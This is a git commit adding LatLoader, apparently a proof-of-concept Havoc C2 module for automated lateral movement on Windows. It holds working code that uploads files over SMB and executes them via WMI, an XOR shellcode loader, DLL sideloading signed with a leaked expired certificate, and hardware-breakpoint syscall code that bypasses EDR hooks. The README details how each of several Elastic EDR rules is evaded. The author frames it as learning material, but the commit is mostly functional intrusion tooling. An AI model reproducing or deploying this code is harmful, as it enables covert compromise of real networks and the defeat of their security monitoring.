First push

This commit is contained in:
icyguider
2023-10-06 11:06:36 -04:00
parent 426d6373ed
commit 79ef973d3e
15 changed files with 1985 additions and 1 deletions
+282
View File
@@ -0,0 +1,282 @@
from havoc import Demon, RegisterCommand, RegisterModule
import re, time, string, random
# Change this to match the key used in the loaders. Or maybe make modifications to dymaically generate a random key each time. ;)
XOR_KEY = "OPERATORCHANGEMEPLZZZ"
class WmiPacker:
def __init__(self):
self.buffer : bytes = b''
self.size : int = 0
def getbuffer(self):
return pack("<L", self.size) + self.buffer
def addstr(self, s):
if s is None:
s = ''
if isinstance(s, str):
s = s.encode("utf-8" )
fmt = "<L{}s".format(len(s) + 1)
self.buffer += pack(fmt, len(s)+1, s)
self.size += calcsize(fmt)
def addWstr(self, s):
s = s.encode("utf-16_le")
fmt = "<L{}s".format(len(s) + 2)
self.buffer += pack(fmt, len(s)+2, s)
self.size += calcsize(fmt)
def addbytes(self, b):
fmt = "<L{}s".format(len(b))
self.buffer += pack(fmt, len(b), b)
self.size += calcsize(fmt)
def addbool(self, b):
fmt = '<I'
self.buffer += pack(fmt, 1 if b else 0)
self.size += calcsize(fmt)
def adduint32(self, n):
fmt = '<I'
self.buffer += pack(fmt, n)
self.size += calcsize(fmt)
def addshort(self, n):
fmt = '<h'
self.buffer += pack(fmt, n)
self.size += calcsize(fmt)
def xorencode(infile, key, outfile):
# Generate key if one is not supplied
if key == "" or key == None:
letters = string.ascii_letters + string.digits
key = ''.join(random.choice(letters) for i in range(49))
# read input file as raw bytes
file = open(infile, 'rb')
contents = file.read()
file.close()
# initialize encrypted byte array
encoded = []
for b in range(len(contents)):
test = contents[b] ^ ord(key[b % len(key)])
#hex_formated.append("{:02x}".format(test)) # store as each byte as hex string in array
encoded.append(test)
file = open(outfile, "wb")
file.write(bytes(encoded))
file.close()
print(f"[+] File encoded successfully! Saved to: {outfile}")
print(f"[+] Here is your key: {key}")
def smb_writefile( demonID, *params ):
TaskID : str = None
demon : Demon = None
packer = WmiPacker()
demon = Demon( demonID )
if demon.ProcessArch == 'x86':
demon.ConsoleWrite( demon.CONSOLE_ERROR, "x86 is not supported" )
return False
print(f"[debug] [rupload] type(params[0]): {type(params[0])}")
if type(params[0]) == tuple:
params = params[0]
params = params[1:]
num_params = len(params)
print(f"[debug] [rupload] params2: {params}")
target = params[0]
is_current = False
f = open(params[1], "rb")
fileBytes = f.read()
f.close()
remotePath = params[2].split(":")[1]
packer.addstr(target)
packer.addstr(remotePath)
packer.adduint32(len(fileBytes))
packer.addstr(fileBytes)
#print(fileBytes[0:10])
TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Tasked demon to copy {params[1]} to {remotePath} on {target} via SMB")
demon.InlineExecute( TaskID, "go", f"bin/writefileBOF.{demon.ProcessArch}.o", packer.getbuffer(), False )
return TaskID
def wmi_proccreate( demonID, *params):
TaskID : str = None
demon : Demon = None
packer = WmiPacker()
demon = Demon( demonID )
if demon.ProcessArch == 'x86':
demon.ConsoleWrite( demon.CONSOLE_ERROR, "x86 is not supported" )
return False
print(f"[debug] [exec] type(params[0]): {type(params[0])}")
if type(params[0]) == tuple:
params = params[0]
print(f"[debug] [exec] params1: {params}")
params = params[1:] # required if params are passed directly as *params
num_params = len(params)
print(f"[debug] [exec] params2: {params}")
target = ''
username = ''
password = ''
domain = ''
command = ''
is_current = False
if num_params < 2:
print(f"[debug] [exec] num_params1: {num_params}")
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Not enough parameters" )
return False
if num_params > 5:
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Too many parameters" )
return False
target = f'\\\\{params[ 0 ]}\\ROOT\\CIMV2'
command = params[ 1 ]
if num_params > 2 and num_params < 5:
print(f"[debug] [exec] num_params: {num_params}")
demon.ConsoleWrite( demon.CONSOLE_ERROR, "Not enough parameters" )
return False
if num_params == 6:
is_current = False
username = params[ 2 ]
password = params[ 3 ]
domain = params[ 4 ]
packer.addWstr(target)
packer.addWstr(domain)
packer.addWstr(username)
packer.addWstr(password)
packer.addWstr(command)
packer.addbool(is_current)
TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Tasked demon to run {command} on {target} via wmi" )
demon.InlineExecute( TaskID, "go", f"bin/ProcCreate.{demon.ProcessArch}.o", packer.getbuffer(), False )
return TaskID
def load(demonID, *params):
TaskID : str = None
demon : Demon = None
packer = WmiPacker()
demon = Demon( demonID )
if demon.ProcessArch == 'x86':
demon.ConsoleWrite( demon.CONSOLE_ERROR, "x86 is not supported" )
return False
print(f"[debug] [load] params: {params}")
#params = params[1:]
num_params = len(params)
print(params)
targetHost = params[1]
targetFile = params[2]
TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Perfoming lateral movement with provided exe..." )
newParams = ("rupload", targetHost, targetFile, "C:\\Windows\\Temp\\load.exe")
smb_writefile(demonID, newParams)
newParams = ("load", targetHost, "cmd.exe /c C:\\Windows\\Temp\\load.exe")
wmi_proccreate(demonID, newParams)
return TaskID
def xorload(demonID, *params):
TaskID : str = None
demon : Demon = None
packer = WmiPacker()
demon = Demon( demonID )
if demon.ProcessArch == 'x86':
demon.ConsoleWrite( demon.CONSOLE_ERROR, "x86 is not supported" )
return False
print(f"[debug] [load] params: {params}")
#params = params[1:]
num_params = len(params)
print(params)
targetHost = params[1]
demonFile = params[2]
TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Perfoming lateral movement with xor shellcode loader..." )
# xor encode provided raw shellcode file
xorencode(demonFile, XOR_KEY, "bin/xordemon.bin")
newParams = ("rupload", targetHost, "bin/xordemon.bin", "C:\\Windows\\image02.png")
smb_writefile(demonID, newParams)
newParams = ("rupload", targetHost, "bin/loader.exe", "C:\\Windows\\load.exe")
smb_writefile(demonID, newParams)
newParams = ("load", targetHost, "cmd.exe /c C:\\Windows\\load.exe")
wmi_proccreate(demonID, newParams)
return TaskID
def sideload(demonID, *params):
TaskID : str = None
demon : Demon = None
packer = WmiPacker()
demon = Demon( demonID )
if demon.ProcessArch == 'x86':
demon.ConsoleWrite( demon.CONSOLE_ERROR, "x86 is not supported" )
return False
print(f"[debug] [load] params: {params}")
#params = params[1:]
num_params = len(params)
print(params)
targetHost = params[1]
demonFile = params[2]
TaskID = demon.ConsoleWrite( demon.CONSOLE_TASK, f"Perfoming lateral movement with xor shellcode loader via DLL sideloading..." )
# xor encode provided raw shellcode file
xorencode(demonFile, XOR_KEY, "bin/xordemon.bin")
# Write to dll sideloader to target location
newParams = ("rupload", targetHost, "bin/signed_sideloader.dll", "C:\\Windows\\cryptbase.png")
smb_writefile(demonID, newParams)
# Change cryptbase extension via WMI, avoiding elastic "Lateral Tool via SMB" alert
newParams = ("load", targetHost, "cmd.exe /c copy C:\\Windows\\cryptbase.png C:\\Windows\\cryptbase.dll && echo --path C:\\Windows\\CCMCache\\cache")
wmi_proccreate(demonID, newParams)
# upload xor encoded demon to target location
newParams = ("rupload", targetHost, "bin/xordemon.bin", "C:\\Windows\\image02.png")
smb_writefile(demonID, newParams)
# Move write.exe to directory containing dll
newParams = ("load", targetHost, "cmd.exe /c copy C:\\Windows\\System32\\DiskSnapShot.exe C:\\Windows\\DiskSnapShot.exe && echo --path C:\\Windows\\CCMCache\\cache")
wmi_proccreate(demonID, newParams)
# Execute shellcode loader via DLL sideloading cryptbase.dll into DiskSnapShot.exe
newParams = ("load", targetHost, "cmd.exe /c C:\\Windows\\DiskSnapShot.exe && echo --path C:\\Windows\\CCMCache\\cache")
wmi_proccreate(demonID, newParams)
return TaskID
RegisterModule( "LatLoader", "Laterally move via WMI using a simple shellcode loader", "", "[subcommand] (args)", "", "" )
RegisterCommand( smb_writefile, "LatLoader", "rupload", "Upload a file over SMB", 0, "target local_file remote_path", "dc1 /root/test.exe C:\\Windows\\Temp\\test.exe")
RegisterCommand( wmi_proccreate, "LatLoader", "exec", "Execute a file or command via WMI", 0, "target command", "dc1 \"cmd.exe /c whoami > C:\\poc3.txt\"" )
RegisterCommand( load, "LatLoader", "load", "Upload file over SMB and execute it via WMI", 0, "target local_file", "dc1 /root/test.exe")
RegisterCommand( xorload, "LatLoader", "xorload", "Perform lateral movement using a simple shellcode loader", 0, "target raw_demon_file", "dc1 /root/demon.x64.bin")
RegisterCommand( sideload, "LatLoader", "sideload", "Perform lateral movement by DLL sideloading a simple shellcode loader with evasions for Elastic EDR rules", 0, "target raw_demon_file", "dc1 /root/demon.x64.bin")
+23
View File
@@ -0,0 +1,23 @@
WMIBOFNAME := ProcCreate
WRITEFILEBOFNAME := writefileBOF
CXX_x64 := x86_64-w64-mingw32-g++
CXX_x86 := i686-w64-mingw32-g++
CC_x64 := x86_64-w64-mingw32-gcc
all:
mkdir -p bin
$(CXX_x64) -o bin/$(WMIBOFNAME).x64.o -c src/wmiBOF.cpp -w
$(CC_x64) -o bin/$(WRITEFILEBOFNAME).x64.o -c src/writefileBOF.c -w
$(CC_x64) src/loader.c -static -w -s -Wl,-subsystem,windows -o bin/loader.exe
$(CXX_x64) src/sideloader.cpp src/HWSyscalls.cpp src/cryptbase.def -static -s -w -shared -fpermissive -o bin/sideloader.dll
rm -f bin/signed_sideloader.dll
osslsigncode sign -pkcs12 src/cert_0.pfx -in bin/sideloader.dll -out bin/signed_sideloader.dll
sign:
rm -f bin/signed_sideloader.dll
osslsigncode sign -pkcs12 src/cert_0.pfx -in bin/sideloader.dll -out bin/signed_sideloader.dll
standalone:
mkdir -p bin/standalone
$(CXX_x64) src/standalone/wmiexec.cpp -I include -l oleaut32 -l ole32 -l wbemuuid -s -w -static -o bin/standalone/wmiexec.exe
$(CC_x64) src/standalone/writefile.c -s -w -static -o bin/standalone/writefile.exe
+134 -1
View File
@@ -1,2 +1,135 @@
# LatLoader
PoC module to demonstrate automated lateral movement with the Havoc C2 framework.
LatLoader is a PoC module to demonstrate automated lateral movement with the Havoc C2 framework. The main purpose of this project is to help others learn BOF and Havoc module development. This project can also help others understand basic EDR rule evasions, particularly when performing lateral movement.
The `sideload` subcommand is the full-featured PoC of this module. It will attempt to perform lateral movement via DLL sideloading while evading default Elastic EDR rules. For a full list of every rule evaded by this module and how it was done, please see the below section titled [Elastic EDR Rule Evasions](https://github.com/icyguider/wmiexeccpp#elastic-edr-rule-evasions).
Video demo w/ Elastic EDR: [PLACEHOLDER]
## Dependencies/Basic Usage
This module was designed to work on Linux systems with `mingw-w64` installed. Additionally, you must have [osslsigncode](https://github.com/mtrojnar/osslsigncode) installed to provide cert signing for the DLL utilized by the `sideload` subcommand. Once all dependencies are installed, simply type `make` and then load the module into Havoc using the script manager. To view help in Havoc, run `help LatLoader`. To view help for subcommands, run `help [subcommand]`.
[HELP PLACEHOLDER]
## Usage/Subcommands
The LatLoader module contains 5 different subcommands. The first two, `rupload` and `exec`, serve as the main mechanism for executing the provided BOFs. The 3 other subcommands (`load`, `xorload`, & `sideload`) combine the previous two in order to perform automated lateral movement.
The `rupload` command can be used to upload a local file to a remote system via SMB using the `writefileBOF.c` BOF like so:
```
LatLoader rupload dc1 /root/demon.x64.exe C:\Windows\Temp\test.exe
```
[RUPLOAD PLACEHOLDER]
The `exec` subcommand can be used to execute a command on a remote system via WMI using the `wmiBOF.cpp` BOF like so:
```
LatLoader exec dc1 "cmd.exe /c whoami > C:\poc.txt"
```
[EXEC PLACEHOLDER]
The `load` subcommand combines the two subcommands above to transfer a specified exe to the remote host via SMB and execute it over WMI:
```
LatLoader load dc1 /root/test.exe
```
[LOAD PLACEHOLDER]
The `xorload` subcommand will perform lateral movement using a simple shellcode loader. This is designed to bypass basic AV detections:
```
LatLoader xorload dc1 /root/demon.x64.bin
```
[XORLOAD PLACEHOLDER]
Finally, the `sideload` subcommand will perform lateral movement by DLL sideloading a simple shellcode loader. Actions were also taken to evade various elastic EDR rules.
```
LatLoader sideload dc1 /root/demon.x64.bin
```
[SIDELOAD PLACEHOLDER]
## Elastic EDR Rule Evasions
The following is a list of various Elastic EDR rules that could alert when performing lateral movement. I have provided what steps were taken to evade each rule. All evasions described here were implemented in the `sideload` subcommand to demonstrate how they can be combined to create a fully functional PoC.
----
#### [Remote Execution via File Shares](https://www.elastic.co/guide/en/security/current/remote-execution-via-file-shares.html)
**Description:** Identifies the execution of a file that was created by the virtual system process. This may indicate lateral movement via network file shares.
**Bypass:** This rule was bypassed by performing DLL sideloading.
----
#### [Malicious Behavior Detection Alert: Unsigned File Execution via Network Logon](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/lateral_movement_unsigned_file_execution_via_network_logon.toml)
**Description:** Identifies the execution of a recently created file that is unsigned or untrusted and from a remote network logon. This may indicate lateral movement via remote services.
**Bypass:** This rule was bypassed by performing DLL sideloading.
----
#### [Malicious Behavior Detection Alert: Execution of a File Dropped from SMB](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/lateral_movement_execution_of_a_file_dropped_from_smb.toml)
**Description:** Identifies the execution of a file that was created by the virtual system process and subsequently executed. This may indicate lateral movement via network file shares.
**Bypass:** This rule was bypassed by executing the transferred file using cmd.exe /c. This evades the rule because the file is not executed directly, but instead by a trusted binary.
----
#### [WMI Incoming Lateral Movement](https://www.elastic.co/guide/en/security/current/wmi-incoming-lateral-movement.html)
**Description:** Identifies processes executed via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement, but could be noisy if administrators use WMI to remotely manage hosts.
**Bypass:** This rule was bypassed by including a path in our command that the rule excludes. As seen in the query, `C:\\Windows\\CCMCache\\*` is one of these directories, which was appended to each wmi command like so: `&& echo --path C:\\Windows\\CCMCache\\cache`
----
#### [Malicious Behavior Prevention Alert: DLL Side Loading via a Copied Microsoft Executable](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_dll_side_loading_via_a_copied_microsoft_executable.toml)
**Description:** Identifies when a Microsoft signed binary is copied to a directory and shortly followed by the loading of an unsigned DLL from the same directory. Adversaries may opt for moving Microsoft signed binaries to a random directory and use them as a host for malicious DLL sideloading during the installation phase.
**Bypass:** This rule was bypassed by signing the DLL sideloader with an expired cert. The expired cert was obtained from here: https://github.com/utoni/PastDSE/tree/main/certs
----
#### [Malicious Behavior Prevention Alert: VirtualProtect API Call from an Unsigned DLL](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_virtualprotect_api_call_from_an_unsigned_dll.toml)
**Description:** Identifies the load of an unsigned or untrusted DLL by a trusted binary followed by calling VirtualProtect API to change memory permission to execute or write. This may indicate execution via DLL sideloading to perform code injection.
**Bypass:** This rule was bypassed by signing the DLL sideloader with an expired cert. The expired cert was obtained from here: https://github.com/utoni/PastDSE/tree/main/certs
----
#### [Potential Lateral Tool Transfer via SMB Share](https://www.elastic.co/guide/en/security/current/potential-lateral-tool-transfer-via-smb-share.html)
**Description:** Identifies the creation or change of a Windows executable file over network shares. Adversaries may transfer tools or other files between systems in a compromised environment.
**Bypass:** This rule was bypassed by creating the file via SMB with a safe extension like .png, and then making a copy of the file with it's real extension via WMI.
----
#### [Malicious Behavior Detection Alert: ImageLoad of a File dropped via SMB](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/lateral_movement_imageload_of_a_file_dropped_via_smb.toml)
**Description:** Identifies the transfer of a library via SMB followed by loading it into commonly DLL proxy execution binaries such as rundll32, regsvr32 and shared services via svchost.exe. This may indicate an attempt to remotely execute malicious code.
**Bypass:** This rule was bypassed by creating the file via SMB with a safe extension like .png, and then making a copy of the file with it's real extension via WMI.
----
## Standalone binaries
I have also provided standalone versions of the BOFs used in this project. These could be useful if you are unfamiliar with BOF development and would like to learn by comparing a normal program to it's BOF counterpart.
`wmiexec.cpp` is the standalone binary for command execution via WMI. It can be compiled with mingw like so:
```
x86_64-w64-mingw32-g++ wmiexec.cpp -I include -l oleaut32 -l ole32 -l wbemuuid -w -static -o /share/wmiexec.exe
```
The exe can then be transferred to the target and executed like so, providing arguments via the cli:
```
.\wmiexec.exe dc1 'cmd.exe /c whoami > c:\test.txt'
```
`writefile.c` is the standalone binary for file transfer via SMB. It can be compiled with mingw like so:
```
x86_64-w64-mingw32-gcc writefile.c -w -static -o /share/writefile.exe
```
The exe can then be transferred to the target and executed like so, providing arguments via the cli:
```
.\writefile.exe .\test.txt \\dc1\C$\poc.txt
```
## Notes
* This project is a PoC meant for learning purposes. Never use this in a real world environment. It was not designed for that and you will most definitely get burned unless you heavily modify the tool.
* The default DLL sideloader utilizes the [HWSyscalls](https://github.com/ShorSec/HWSyscalls) project to perform a single `NtAllocateVirtualMemory` call using hardware breakpoints. This is not effective against any EDRs that rely on kernel callbacks for detecting winapi usage (Elastic, MDE, etc). However, I have included it as a PoC to demonstrate how it could be used against other EDRs which still rely on hooking. If you would like to use a version of the sideloader without HWBP syscalls, simply modify the makefile to compile `sideloader.c` instead of `sideloader.cpp`.
* If you are looking to achieve 0 alerts by Elastic when using `sideload`, you must account for Elastic's in memory detection [yara rule](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Havoc.yar) for Havoc. This can be bypassed by modifying the Havoc framework itself with relative ease. I will leave the specifics of this process to the reader. ;)
## Greetz/Credit
* [@C5spider](https://twitter.com/C5pider), [@s4ntiago_p](https://twitter.com/s4ntiago_p), and all other contributors to the [Havoc C2 Framework](https://github.com/HavocFramework/Havoc).
* [@Yaxser](https://twitter.com/Yas_o_h) for their [wmiexec BOF](https://github.com/Yaxser/CobaltStrike-BOF/blob/master/WMI%20Lateral%20Movement/WMI-ProcessCreate.cpp) which was lightly modified for use in this project.
* [@dec0ne](https://twitter.com/dec0ne) and [@Idov31](https://twitter.com/Idov31) for [HWSyscalls](https://github.com/ShorSec/HWSyscalls) utilized by the DLL sideloader.
* [Elastic](https://www.elastic.co) for allowing anyone to test their EDR for free and for making their default rules public.
* [Microsoft's Online Documentation](https://learn.microsoft.com) for teaching me all about windows programming and internals. They also provide excellent example code that I and others gladly take and adopt for our offensive needs.
+341
View File
@@ -0,0 +1,341 @@
#include "HWSyscalls.h"
#pragma region GlobalVariables
PVOID exceptionHandlerHandle;
HANDLE myThread;
HANDLE hNtdll;
UINT64 ntFunctionAddress;
UINT64 k32FunctionAddress;
UINT64 retGadgetAddress;
UINT64 stackArgs[STACK_ARGS_LENGTH];
UINT64 callRegGadgetAddress;
UINT64 callRegGadgetAddressRet;
char callRegGadgetValue;
UINT64 regBackup;
#pragma endregion
#pragma region BinaryPatternMatching
// @janoglezcampos, @idov31 - https://github.com/Idov31/Cronos/blob/master/src/Utils.c
BOOL MaskCompare(const BYTE* pData, const BYTE* bMask, const char* szMask)
{
for (; *szMask; ++szMask, ++pData, ++bMask)
if (*szMask == 'x' && *pData != *bMask)
return FALSE;
return TRUE;
}
DWORD_PTR FindPattern(DWORD_PTR dwAddress, DWORD dwLen, PBYTE bMask, PCHAR szMask)
{
for (DWORD i = 0; i < dwLen; i++)
if (MaskCompare((PBYTE)(dwAddress + i), bMask, szMask))
return (DWORD_PTR)(dwAddress + i);
return 0;
}
DWORD_PTR FindInModule(LPCSTR moduleName, PBYTE bMask, PCHAR szMask)
{
DWORD_PTR dwAddress = 0;
PIMAGE_DOS_HEADER imageBase = (PIMAGE_DOS_HEADER)GetModuleHandleA(moduleName);
if (!imageBase)
return 0;
DWORD_PTR sectionOffset = (DWORD_PTR)imageBase + imageBase->e_lfanew + sizeof(IMAGE_NT_HEADERS);
if (!sectionOffset)
return 0;
PIMAGE_SECTION_HEADER textSection = (PIMAGE_SECTION_HEADER)(sectionOffset);
dwAddress = FindPattern((DWORD_PTR)imageBase + textSection->VirtualAddress, textSection->SizeOfRawData, bMask, szMask);
return dwAddress;
}
#pragma endregion
#pragma region PEBGetProcAddress
UINT64 GetModuleAddress(LPWSTR moduleName) {
PPEB peb = (PPEB)__readgsqword(X64_PEB_OFFSET);
LIST_ENTRY* ModuleList = NULL;
if (!moduleName)
return 0;
for (LIST_ENTRY* pListEntry = peb->LoaderData->InMemoryOrderModuleList.Flink;
pListEntry != &peb->LoaderData->InMemoryOrderModuleList;
pListEntry = pListEntry->Flink) {
PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (wcsstr(pEntry->FullDllName.Buffer, moduleName)) {
return (UINT64)pEntry->DllBase;
}
}
return 0;
}
UINT64 GetSymbolAddress(UINT64 moduleBase, const char* functionName) {
UINT64 functionAddress = 0;
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;
// Checking that the image is valid PE file.
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return 0;
}
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(moduleBase + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
return functionAddress;
}
IMAGE_OPTIONAL_HEADER optionalHeader = ntHeaders->OptionalHeader;
if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) {
return functionAddress;
}
// Iterating the export directory.
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(moduleBase + optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* addresses = (DWORD*)(moduleBase + exportDirectory->AddressOfFunctions);
WORD* ordinals = (WORD*)(moduleBase + exportDirectory->AddressOfNameOrdinals);
DWORD* names = (DWORD*)(moduleBase + exportDirectory->AddressOfNames);
for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) {
if (_stricmp((char*)(moduleBase + names[j]), functionName) == 0) {
functionAddress = moduleBase + addresses[ordinals[j]];
break;
}
}
return functionAddress;
}
#pragma endregion
#pragma region HalosGate
DWORD64 FindSyscallNumber(DWORD64 functionAddress) {
// @sektor7 - RED TEAM Operator: Windows Evasion course - https://blog.sektor7.net/#!res/2021/halosgate.md
WORD syscallNumber = 0;
for (WORD idx = 1; idx <= 500; idx++) {
// check neighboring syscall down
if (*((PBYTE)functionAddress + idx * DOWN) == 0x4c
&& *((PBYTE)functionAddress + 1 + idx * DOWN) == 0x8b
&& *((PBYTE)functionAddress + 2 + idx * DOWN) == 0xd1
&& *((PBYTE)functionAddress + 3 + idx * DOWN) == 0xb8
&& *((PBYTE)functionAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)functionAddress + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)functionAddress + 5 + idx * DOWN);
BYTE low = *((PBYTE)functionAddress + 4 + idx * DOWN);
syscallNumber = (high << 8) | low - idx;
printf("[+] Found SSN: 0x%X\n", syscallNumber);
break;
}
// check neighboring syscall up
if (*((PBYTE)functionAddress + idx * UP) == 0x4c
&& *((PBYTE)functionAddress + 1 + idx * UP) == 0x8b
&& *((PBYTE)functionAddress + 2 + idx * UP) == 0xd1
&& *((PBYTE)functionAddress + 3 + idx * UP) == 0xb8
&& *((PBYTE)functionAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)functionAddress + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)functionAddress + 5 + idx * UP);
BYTE low = *((PBYTE)functionAddress + 4 + idx * UP);
syscallNumber = (high << 8) | low + idx;
printf("[+] Found SSN: 0x%X\n", syscallNumber);
break;
}
}
if (syscallNumber == 0)
printf("[-] Could not find SSN\n");
return syscallNumber;
}
DWORD64 FindSyscallReturnAddress(DWORD64 functionAddress, WORD syscallNumber) {
// @sektor7 - RED TEAM Operator: Windows Evasion course - https://blog.sektor7.net/#!res/2021/halosgate.md
DWORD64 syscallReturnAddress = 0;
for (WORD idx = 1; idx <= 32; idx++) {
if (*((PBYTE)functionAddress + idx) == 0x0f && *((PBYTE)functionAddress + idx + 1) == 0x05) {
syscallReturnAddress = (DWORD64)((PBYTE)functionAddress + idx);
printf("[+] Found \"syscall;ret;\" opcode address: 0x%I64X\n", syscallReturnAddress);
break;
}
}
if (syscallReturnAddress == 0)
printf("[-] Could not find \"syscall;ret;\" opcode address\n");
return syscallReturnAddress;
}
#pragma endregion
UINT64 PrepareSyscall(char* functionName) {
return ntFunctionAddress;
}
bool SetMainBreakpoint() {
// Dynamically find the GetThreadContext and SetThreadContext functions
GetThreadContext_t pGetThreadContext = (GetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERNEL32.DLL"), "GetThreadContext");
SetThreadContext_t pSetThreadContext = (SetThreadContext_t)GetSymbolAddress(GetModuleAddress((LPWSTR)L"KERNEL32.DLL"), "SetThreadContext");
DWORD old = 0;
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
// Get current thread context
pGetThreadContext(myThread, &ctx);
// Set hardware breakpoint on PrepareSyscall function
ctx.Dr0 = (UINT64)&PrepareSyscall;
ctx.Dr7 |= (1 << 0);
ctx.Dr7 &= ~(1 << 16);
ctx.Dr7 &= ~(1 << 17);
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
// Apply the modified context to the current thread
if (!pSetThreadContext(myThread, &ctx)) {
printf("[-] Could not set new thread context: 0x%X", GetLastError());
return false;
}
printf("[+] Main HWBP set successfully\n");
return true;
}
LONG HWSyscallExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
if (ExceptionInfo->ContextRecord->Rip == (DWORD64)&PrepareSyscall) {
printf("\n===============HWSYSCALLS DEBUG===============");
printf("\n[+] PrepareSyscall Breakpoint Hit (%#llx)!\n", ExceptionInfo->ExceptionRecord->ExceptionAddress);
// Find the address of the syscall function in ntdll we got as the first argument of the PrepareSyscall function
ntFunctionAddress = GetSymbolAddress((UINT64)hNtdll, (const char*)(ExceptionInfo->ContextRecord->Rcx));
printf("[+] Found %s address: 0x%I64X\n", (const char*)(ExceptionInfo->ContextRecord->Rcx), ntFunctionAddress);
// Move breakpoint to the NTAPI function;
printf("[+] Moving breakpoint to %#llx\n", ntFunctionAddress);
ExceptionInfo->ContextRecord->Dr0 = ntFunctionAddress;
}
else if (ExceptionInfo->ContextRecord->Rip == (DWORD64)ntFunctionAddress) {
printf("[+] NTAPI Function Breakpoint Hit (%#llx)!\n", (DWORD64)ExceptionInfo->ExceptionRecord->ExceptionAddress);
// Create a new stack to spoof the kernel32 function address
// The stack size will be 0x70 which is compatible with the RET_GADGET we found.
// sub rsp, 70
ExceptionInfo->ContextRecord->Rsp -= 0x70;
// mov rsp, REG_GADGET_ADDRESS
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp) = retGadgetAddress;
printf("[+] Created a new stack frame with RET_GADGET (%#llx) as the return address\n", retGadgetAddress);
// Copy the stack arguments from the original stack
for (size_t idx = 0; idx < STACK_ARGS_LENGTH; idx++)
{
const size_t offset = idx * STACK_ARGS_LENGTH + STACK_ARGS_RSP_OFFSET;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset + 0x70);
}
printf("[+] Original stack arguments successfully copied over to the new stack\n");
DWORD64 pFunctionAddress = ExceptionInfo->ContextRecord->Rip;
char nonHookedSyscallBytes[] = { 0x4C,0x8B,0xD1,0xB8 };
if (FindPattern(pFunctionAddress, 4, (PBYTE)nonHookedSyscallBytes, (PCHAR)"xxxx")) {
printf("[+] Function is not hooked\n");
printf("[+] Continuing with normal execution\n");
}
else {
printf("[+] Function is HOOKED!\n");
printf("[+] Looking for the SSN via Halos Gate\n");
WORD syscallNumber = FindSyscallNumber(pFunctionAddress);
if (syscallNumber == 0) {
ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet;
return EXCEPTION_CONTINUE_EXECUTION;
}
DWORD64 syscallReturnAddress = FindSyscallReturnAddress(pFunctionAddress, syscallNumber);
if (syscallReturnAddress == 0) {
ExceptionInfo->ContextRecord->Dr0 = callRegGadgetAddressRet;
return EXCEPTION_CONTINUE_EXECUTION;
}
// mov r10, rcx
printf("[+] Moving RCX to R10 (mov r10, rcx)\n");
ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx;
//mov eax, SSN
printf("[+] Moving SSN to RAX (mov rax, 0x%X)\n", syscallNumber);
ExceptionInfo->ContextRecord->Rax = syscallNumber;
//Set RIP to syscall;ret; opcode address
printf("[+] Jumping to \"syscall;ret;\" opcode address: 0x%I64X\n", syscallReturnAddress);
ExceptionInfo->ContextRecord->Rip = syscallReturnAddress;
}
// Move breakpoint back to PrepareSyscall to catch the next invoke
printf("[+] Moving breakpoint back to PrepareSyscall to catch the next invoke\n");
ExceptionInfo->ContextRecord->Dr0 = (UINT64)&PrepareSyscall;
printf("==============================================\n\n");
}
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
bool FindRetGadget() {
// Dynamically search for a suitable "ADD RSP,68;RET" gadget in both kernel32 and kernelbase
retGadgetAddress = FindInModule("KERNEL32.DLL", (PBYTE)"\x48\x83\xC4\x68\xC3", (PCHAR)"xxxxx");
if (retGadgetAddress != 0) {
printf("[+] Found RET_GADGET in kernel32.dll: %#llx\n", retGadgetAddress);
return true;
}
else {
retGadgetAddress = FindInModule("kernelbase.dll", (PBYTE)"\x48\x83\xC4\x68\xC3", (PCHAR)"xxxxx");
printf("[+] Found RET_GADGET in kernelbase.dll: %#llx\n", retGadgetAddress);
if (retGadgetAddress != 0) {
return true;
}
}
return false;
}
bool InitHWSyscalls() {
myThread = GetCurrentThread();
hNtdll = (HANDLE)GetModuleAddress((LPWSTR)L"ntdll.dll");
if (!FindRetGadget()) {
printf("[!] Could not find a suitable \"ADD RSP,68;RET\" gadget in kernel32 or kernelbase. InitHWSyscalls failed.");
return false;
}
// Register exception handler
